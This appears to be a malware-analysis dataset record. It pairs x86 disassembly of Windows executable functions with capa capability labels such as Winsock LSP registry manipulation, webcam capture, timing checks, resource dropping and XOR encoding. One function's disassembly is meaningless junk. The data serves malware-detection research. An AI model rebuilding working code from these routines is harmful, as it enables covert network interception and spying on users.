joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462a30
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push esi
test ecx, ecx
mov dword [esp + 4], 0
je 0x462a9b
mov eax, dword [esp + 0x10]
test eax, eax
je 0x462a9b
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x462a64
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
sbb eax, eax
pop esi
inc eax
pop ecx
ret 0xc
lea edx, [esp + 4]
push edx
push 0xf003f
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x462a8c
mov eax, dword [esp + 4]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x462aa2
mov eax, dword [esp + 4]
test eax, eax
je 0x462a9b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ecx
ret 0xc
mov eax, dword [esp + 4]
test eax, eax
je 0x462ab1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret 0xc

Function at 0x462ac0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x398
mov eax, dword [esp + 0x39c]
push esi
test eax, eax
push edi
mov esi, ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x378
je 0x462c4b
mov ecx, dword [esp + 0x3a8]
test ecx, ecx
je 0x462c4b
mov edi, dword [esp + 0x3ac]
test edi, edi
je 0x462c4b
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x462c4b
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x462c0c
cmp dword [esp + 0xc], 0x378
jne 0x462c0c
lea eax, [esp + 0x28]
push eax
push edi
call fcn.00473500
add esp, 8
test eax, eax
je 0x462c2c
cmp dword [esp + 0x154], 1
jne 0x462c2c
cmp dword [esp + 0x178], 2
jne 0x462c2c
mov ecx, dword [esp + 0x150]
lea edx, [esp + 0x10]
push ecx
push 0x59916c
push edx
call fcn.00472f12
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push getpeername
push eax
push ecx
push edx
mov ecx, esi
call fcn.004629a0
test eax, eax
je 0x462c0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x462c1f
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
test eax, eax
je 0x462c16
push eax
call esi
jmp 0x462c12
mov eax, dword [esp + 0x3b0]
test eax, eax
je 0x462c2c
inc dword [eax]
mov eax, dword [esp + 8]
test eax, eax
je 0x462c3b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x398
ret 0x10
pop edi
xor eax, eax
pop esi
add esp, 0x398
ret 0x10
Function at 0x462c60
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x462dcc
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x462dcc
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x462dcc
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x462dcc
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x462db0
cmp dword [esp + 0x10], 0x378
jne 0x462db0
cmp dword [esp + 0x158], 1
jne 0x462dd9
cmp dword [esp + 0x17c], 2
jne 0x462dd9
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x59916c
push ecx
call fcn.00472f12
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push getpeername
call esi
test eax, eax
jne 0x462db0
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.00462e10
test eax, eax
je 0x462db0
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push getpeername
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.00462910
test eax, eax
je 0x462db0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x462dd9
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x462dc1
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x462dcc
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x462dea
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x462df5
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x462e10
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x462ed1
mov eax, dword [esp + 0x488]
test eax, eax
je 0x462ed1
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x462ed1
cmp dword [esp], 0x378
jne 0x462ed1
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x462ed1
lea edx, [esp + 4]
push edx
call fcn.004628a0
add esp, 4
test eax, eax
je 0x462ed1
cmp dword [esp + 0x234], 1
jne 0x462ec3
cmp dword [esp + 0x258], 2
jne 0x462ec3
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x462ed1
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x462ed1
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x462ee0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x462f3f
push esi
call fcn.004628a0
add esp, 4
test eax, eax
je 0x462f3f
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x462f3f
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x462f3f
push 0x599190
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x462fd0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x463004
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.00462ee0
test eax, eax
jne 0x46301d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.00462f50
cmp eax, 1
je 0x4631aa
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x463056
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x4630d2
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x463152
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.00462e10
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x463169
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x463072
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x463120
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.00462ac0
test eax, eax
je 0x463152
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x4630ee
cmp dword [esp + 0x18], 1
jb 0x463152
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push getpeername
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.004629a0
cmp eax, 1
je 0x46319b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x463179
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x463152
push ebp
mov ecx, ebx
call fcn.004631c0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4631aa
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x4631c0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x4631f2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.00462f50
test eax, eax
jne 0x46320f
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x463236
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x463284
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.00462c60
test eax, eax
jne 0x46326d
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x463253
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push getpeername
mov ecx, edi
call fcn.00462a30
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x4632a7
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x468fd0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x469073
test eax, eax
jbe 0x469073
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x469073
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46901e
xor esi, esi
jmp 0x469024
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46904f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0041c5a0
add esi, eax
push esi
mov ebx, esi
call fcn.0041c5a0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x469030
pop ebp
test edi, edi
pop edi
jne 0x469073
test ebx, ebx
je 0x469073
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004722c0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4691b5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4692cd
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4692cd
mov eax, dword [esi + 0x3c]
push eax
call fcn.004842b3
mov esi, eax
test esi, esi
je 0x4692cd
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4692cd
mov ecx, esi
call fcn.00469120
cmp edi, eax
jge 0x4692cd
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x469253
mov dword [esp + 0x34], 1
jmp 0x4692ae
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4692cd
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00467960
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x46d870
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x46d8b9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x46dd30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x491320
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0046d8e0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0046d960
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0046d960
lea ecx, [esi + 0xc]
call fcn.0048283d
lea ecx, [esi + 0x10]
call fcn.0048283d
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0046ef00
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0046ef00
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0046ef00
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004828b2
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004828b2
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x46f0f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x46f156
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x46f156
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x46f137
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x484c56
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x484c8e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00482d0d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00482ce5
jmp 0x484c9a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x486347
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x486389
call fcn.0048bebb
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x486389
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x486380
xor eax, eax
jmp 0x486391
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00486397
pop edi
pop esi
pop ebx
ret 4

Function at 0x48c3eb
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48c419
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48c437
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048c351
jmp 0x48c437
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48c437
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048c351
test edi, edi
mov eax, edi
jne 0x48c421
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4023c0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov eax, dword [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x402439
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov al, 1
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 8]
xor al, al
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x402460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x402890
push eax
mov dword fs:[0], esp
push ebx
push ebp
push esi
push edi
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push 0
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x402509
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x402509
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x402509
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov esi, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push ecx
lea eax, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call sub.MFC42.DLL_CString::CString
call fcn.004023c0
add esp, 0xc
test al, al
push ebp
jne 0x40253d
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
xor al, al
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret

Function at 0x402060
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [ebp + 8]
test dword [edx + 0x74], esi
adc ch, al
mov ecx, dword [ecx]
add byte [ebx - 0x50bef460], ah
lcall 0x6200, 0x410ba4c6
or edx, esi
Function at 0x404820
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x52ad60]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x52e1c4]
push edi
push 0xf0
push 0x81
push esi
mov dword [ebp - 0x130], ecx
mov edi, 1
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4049ae
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4049ae
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4049ae
mov edx, 0x1234
push ebx
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x404999
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
mov dword [ebp - 0x134], ecx
mov ecx, 0x403
add esi, 8
cmp cx, ax
jne 0x40490e
push 3
lea eax, [ebp - 0x104]
push esi
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x108], eax
call fcn.00404b80
push dword [ebp - 0x108]
mov eax, dword [ebp - 0x130]
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x108]
cmove edi, ecx
lea ecx, [ebp - 0x104]
cmp eax, ecx
je 0x404986
push eax
call fcn.004b4218
add esp, 4
jmp 0x404986
cmp dx, ax
jne 0x40498b
push 3
lea eax, [ebp - 0x104]
push esi
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0x128], 0xffffffff
mov dword [ebp - 0x108], eax
call fcn.00404b80
mov eax, dword [ebp - 0x108]
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x124], eax
cmp eax, ecx
je 0x404960
push eax
call fcn.004b4218
add esp, 4
lea eax, [ebp - 0x12c]
push eax
mov eax, dword [ebp - 0x130]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
mov edx, 0x1234
add esi, dword [ebp - 0x134]
test edi, edi
jne 0x404886
pop ebx
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b3a11
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.004b3a11
mov esp, ebp
pop ebp
ret 4

Function at 0x4055f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405609
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405644
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x405640
lea ebx, [ebx]
cmp esi, edx
jae 0x405644
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x405630
cmp esi, edx
jb 0x40564b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret